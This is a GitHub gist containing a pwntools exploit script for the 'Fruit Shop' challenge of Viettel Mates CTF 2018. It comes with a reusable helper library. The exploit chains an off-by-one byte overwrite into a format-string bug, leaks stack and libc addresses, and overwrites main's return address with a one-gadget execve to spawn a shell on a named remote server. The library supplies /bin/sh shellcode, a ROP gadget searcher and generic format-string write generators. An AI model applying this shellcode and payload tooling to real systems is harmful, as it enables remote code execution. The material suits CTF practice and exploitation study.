Skip to content

Instantly share code, notes, and snippets.

@ManhNDd
Last active June 18, 2018 13:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ManhNDd/3b2cf7a3cc08ef89ad183d28495ec30f to your computer and use it in GitHub Desktop.
Save ManhNDd/3b2cf7a3cc08ef89ad183d28495ec30f to your computer and use it in GitHub Desktop.
Viettel Mates CTF 2018 - Fruit Shop
#coding: utf-8
'''
author: Nguyen Duc Manh
email: imdb95@gmail.com
'''
import Mix
from pwn import *
import sys
context.clear(arch='amd64')
'''
apple:
0x555555757420, 156-byte long
v8[16] = 0;
offset 12: word quantity
offset 14: dword quantity*3
offset 17: 'organic', overwrite one byte on previous dword
offset 27: byte 0
offset 28: 64 byte, address
offset 92: "Apple From Greek."
banana:
0x5555557574d0, 156-byte long
v8[16] = 1;
offset 12: word quantity
offset 14: dword quantity*5
offset 17: 'organic', overwrite one byte on previous dword
offset 27: byte 1
offset 28: 96 byte, address
offset 124: "Banana from Australia."
change label: offset 16 != 0
scanf overwrites NULL byte => off by one => modified 1 into 0 => turn banana into apple => format string vulnerabitily
full mitigrations => overwrite return address of main
'''
def setAddress(p, aStr):
p.sendlineafter('Your choice:', '1')
p.sendlineafter('banana (2)?:', '2')
p.sendlineafter('quantity:', '-1')
p.sendlineafter('address? (Y/N)', 'Y')
p.sendline(aStr)
def changeLabel(p, idx):
p.sendlineafter('Your choice:', '3')
p.sendlineafter('change:', str(idx))
p.sendlineafter('label:', 'a'*10)
def out(p):
p.sendlineafter('Your choice:', '2')
p.recvuntil('65531|')
data = p.recvuntil('|\n\n')[:-3]
return data
def changeComment(p, idx):
p.sendlineafter('Your choice:', '4')
p.sendlineafter('change:', str(idx))
p.sendlineafter('address:', 'o'*64)
def generic(p, idx, aStr):
setAddress(p, aStr)
changeLabel(p, idx)
data = out(p)
changeComment(p, idx)
return data
gIdx = 0
if sys.argv[1] == 'local':
lib = Mix.MyELF("/lib/x86_64-linux-gnu/libc-2.23.so")
libcRetOffset = 133168
p = process('./fruitretailer')
else:
lib = Mix.MyELF("/home/manh/tools/libc-database/db/libc6_2.27-3ubuntu1_amd64.so")
libcRetOffset = 0x0000000000021b97
p = remote('125.235.240.167', 5000)
# p = remote('ec2-54-255-145-181.ap-southeast-1.compute.amazonaws.com', 5000)
gIdx += 1
data = generic(p, gIdx, 'x'*64+'%8$pAAAA%13$pBBBB%12$p')
mainRbp = int(data[:data.index('AAAA')], 16)
libcRet = int(data[data.index('AAAA')+4:data.index('BBBB')], 16)
init = int(data[data.index('BBBB')+4:data.index('xxxx')], 16)
print ('leaked rbp: 0x%x' % mainRbp)
print ('leaked ret: 0x%x' % libcRet)
print ('leaked init: 0x%x' % init)
lib.address = libcRet - libcRetOffset
print ('leaked libc: 0x%x' % lib.address)
def exploit():
global gIdx, p
initOffset = 5328
setvbuf = init - initOffset + 0x201FC8
popRdi = lib.searchAsm('pop rdi; ret').next()
sh = lib.search('/bin/sh\x00').next()
system = lib.symbols['exit']
if sys.argv[1] == 'local':
execve1 = lib.address +0x4526A
execve2 = lib.address+0x6F5A6
execve3 = lib.address+0xCD0F3
execve4 = lib.address+0xCD1C8
execve5 = lib.address+0xF02B0
execve6 = lib.address+0xF1147
else:
execve1 = lib.address+0x4F322
execve2 = lib.address+0x808F1
execve3 = lib.address+0xE569F
execve4 = lib.address+0xE56B9
execve5 = lib.address+0xE5863
execve6 = lib.address+0x10A38C
# oData = flat([popRdi, sh, system])
oData = flat([execve6])
for i in range(len(oData)):
assert p64(mainRbp+8+i)[1] == p64(mainRbp)[1]
fmtA = Mix.genFmtStr(6, {0:p64(mainRbp+8+i)[0]}, aWhole=False, writeSize='byte', writtenLen = 0)[0]
fmtC = Mix.genFmtStr(8, {0:oData[i]}, aWhole=False, writeSize='byte', writtenLen = 0)[0]
setAddress(p, 'x'*64+fmtA)
gIdx += 1
changeLabel(p, gIdx)
setAddress(p, 'x'*64+fmtC)
gIdx += 1
changeLabel(p, gIdx)
setAddress(p, 'x'*64+'XYXY%13$sXYYX') # leak
gIdx += 1
changeLabel(p, gIdx)
fmtA = Mix.genFmtStr(6, {0:p64(mainRbp)[0]}, aWhole=False, writeSize='byte', writtenLen = 0)[0]
setAddress(p, 'x'*64+fmtA)
gIdx += 1
changeLabel(p, gIdx)
p.sendlineafter('Your choice:', '2')
data = p.recvuntil('|\n\n')[:-3]
leaked = data[data.index('XYXY')+4:data.index('XYYX')]
print [leaked]
p.interactive()
exploit()
#coding: utf-8
'''
author: Nguyen Duc Manh
email: imdb95@gmail.com
'''
import time
from pwn import *
'''
import sys
sys.path.append('/media/sf_F_DRIVE/Research/lib')
from Mix import *
'''
gBinSh32 = """
xor ecx, ecx
mul ecx
mov al, 0xb
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
int 0x80
"""
class Elapsed:
def __init__(self):
self.start = time.time()
def sc(self, str=None):
end = time.time()
if str != None:
print("%s: %f" % (str, end - self.start))
else:
print(end - self.start)
self.start = end
def chop(self):
end = time.time()
ret = end - self.start
self.start = end
return ret
class MyELF(ELF):
def __init__(self, aModule):
ELF.__init__(self, aModule)
def searchAsm(self, needle, textAsm = True):
"""searchAsm(needle, textAsm = False) -> str generator
Search the ELF's virtual address space (only executable segments) for the specified string.
Arguments:
needle(str): String to searchAsm for.
textAsm: asm(needle) before searching
Returns:
An iterator for each virtual address that matches.
Examples:
>>> bash = MyELF(which('bash'))
>>> shStr = bash.searchAsm('pop rdi; ret')
"""
if textAsm == True:
needle = asm(needle)
segments = self.executable_segments
load_address_fixup = (self.address - self.load_addr)
for seg in segments:
addr = seg.header.p_vaddr
data = seg.data()
offset = 0
while True:
offset = data.find(needle, offset)
if offset == -1:
break
yield (addr + offset + load_address_fixup)
offset += 1
def genFmtStrForValueList(ctrlOffset, valueList, writeSize='byte'):
"""
param:
+ ctrlOffset: format string offset that you can control, assuming the start of the buffer, is number of dwords/qwords
+ addrList: [int, ...]
+ writeSize: 'byte' or 'short'
"""
if writeSize == 'byte':
mPow = 8
flag = 'hhn'
else:
mPow = 16
flag = 'hn'
now = 0
fmt = ''
for i in range(len(valueList)):
v = valueList[i]
assert v < 2**mPow
t = v - now
if t == 0: fmt += "%{}${}".format(ctrlOffset + i, flag)
else:
if t < 0:
t += 2**mPow # use integer overflow
fmt += "%{}c%{}${}".format(t, ctrlOffset + i, flag)
now = v
return fmt
def genFmtStr(ctrlOffset, addrDict, aWhole=True, writeSize='short', writtenLen = 0):
"""
param:
+ ctrlOffset: format string offset that you can control, assuming the start of the buffer, is number of dwords/qwords
+ addrDict: {addr: str, ...}
+ aWhole: = True if fmt and flatten_addrs are both put in the buffer
if aWhole: return fmt_flatten_addrs
else return [fmt,flatten_addrs]
+ writeSize: 'byte' or 'short'
"""
newDict = {}
for addr in addrDict:
vStr = addrDict[addr]
if writeSize == 'byte':
for i in range(len(vStr)):
newDict[addr+i] = ord(vStr[i])
elif writeSize == 'short':
if (len(vStr)%2 != 0):
raise Exception("genFmtStr: odd len for short writes")
for i in range(len(vStr)/2):
newDict[addr+i*2] = ord(vStr[i*2]) | (ord(vStr[i*2+1]) << 8)
else:
raise Exception("genFmtStr: invalid writeSize")
return generateFmtStrInBytesOrShorts(ctrlOffset, newDict, aWhole, writeSize, writtenLen)
def generateFmtStrInBytesOrShorts(ctrlOffset, addrDict, aWhole=True, writeSize='byte', writtenLen = 0):
"""
param:
+ ctrlOffset: format string offset that you can control, assuming the start of the buffer, is number of dwords/qwords
+ addrDict: {addr: int, ...}
+ aWhole: = True if fmt and flatten_addrs are both put in the buffer
if aWhole: return fmt_flatten_addrs
else return [fmt,flatten_addrs]
+ writeSize: 'byte' or 'short'
"""
# sort x of "%{}c%{}$(h)hn" in increasing order.
# then padding, and add addresses at the end.
# => payload length should be short
if context.arch == 'i386':
padding = 4
__p = p32
elif context.arch == 'amd64':
padding = 8
__p = p64
else:
raise Exception("Error architecture")
if writeSize == 'byte':
flag = 'hhn'
round = 256
else:
flag = 'hn'
round = 2**16
''' if writtenLen != 0, have to subtract by this value, and round when < 0'''
for addr in addrDict:
addrDict[addr] -= writtenLen
if addrDict[addr] < 0: addrDict[addr] += round
mList = addrDict.items()
mList.sort(key=lambda x: x[1])
flatten_addrs = ''.join(__p(x[0]) for x in mList)
if aWhole:
i = 1 # i surely not 0
while(True): # try increasing offsets for {} of "%{}$(h)hn" until got suitable value.
off = ctrlOffset+i
fmt = ''
for k in range(len(mList)):
if k == 0:
addup = mList[k][1]
else:
addup = mList[k][1] - mList[k-1][1]
if addup == 0:
fmt += "%{}${}".format(off+k, flag)
else:
fmt += "%{}c%{}${}".format(addup, off+k, flag)
if len(fmt) % padding != 0: # padding
fmt += 'A'*(padding - len(fmt)%padding)
if ctrlOffset+len(fmt)/padding != off:
i += 1
continue # off not satisfy -> inc
return fmt+flatten_addrs
else:
off = ctrlOffset
fmt = ''
for k in range(len(mList)):
if k == 0:
addup = mList[k][1]
else:
addup = mList[k][1] - mList[k-1][1]
if addup == 0:
fmt += "%{}${}".format(off + k, flag)
else:
fmt += "%{}c%{}${}".format(addup, off + k, flag)
return [fmt, flatten_addrs]
def leakedToAddr(leaked):
'''
params:
leaked: binary string leaked from server.
return address corresponding to the context arch. If length is not adequate, \x00s are added to the end
'''
if context.arch == 'i386':
addrSize = 4
__p = u32
elif context.arch == 'amd64':
addrSize = 8
__p = u64
else:
raise Exception("Error architecture")
if len(leaked) <= 8:
leaked += '\x00'*(8-len(leaked))
else:
leaked = leaked[:8]
return __p(leaked)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment